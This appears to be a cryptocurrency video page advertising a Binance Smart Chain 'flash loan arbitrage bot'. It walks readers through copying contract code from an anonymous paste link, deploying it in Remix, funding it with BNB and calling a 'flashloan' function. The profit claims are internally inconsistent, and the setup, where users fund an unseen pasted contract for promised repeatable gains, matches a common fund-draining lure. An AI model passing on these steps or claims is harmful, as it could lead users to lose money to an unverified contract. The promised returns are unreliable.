Binance Smart Chain(BSC) Arbitrage Bot. #pancakeswap #bakery

Buy Crypto at Exchange

In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change. Follow the instructions in the video.

* NOTE: Use compiler version of 0.5.17 or above

Remix Link – http://remix.ethereum.org/

Smart Contract Link – https://ghostbin.com/paste/KEqWs

Here a flash loan borrowed 3,157.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,168.39 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,168.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs around 0.2 BNB of gas. Note that the transaction sender gains 2.51 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.

STEPS: Before starting, install and setup MetaMask in Chrome Browser.
Connecting MetaMask to Binance Smart Chain – https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain

1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code at: https://ghostbin.com/paste/KEqWs

3. Create new file in Remix and paste Contract code and wait for everything to load
4. Enter your token details and deploy the contract
5. Get the Contract address from Remix
6. Send 0.2 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.2 BNB fees)

7. Call ‘flashloan’ function in Remix.

FOR EDUCATION PURPOSE ONLY.

#pancakeswap #bakeryswap #binancesmartchain #Defi #Flashloan #Ethereum #arbitragebot #crypto #bitcoin #dogecoin #bitcoinprice #solidity #cryptonews #bitcoinnews #bitcoinprice

Buy Crypto at Exchange
DMCA.com Protection Status
Ads Blocker Image Powered by Code Help Pro
Ads Blocker Detected

We have detected that you are using extensions to block ads. Ads help us pay for server and apps expenses. Please support us by disabling your ad blocker. We assure you our ads will not disrupt your reading and watching experience. Thank you so much. 

Refresh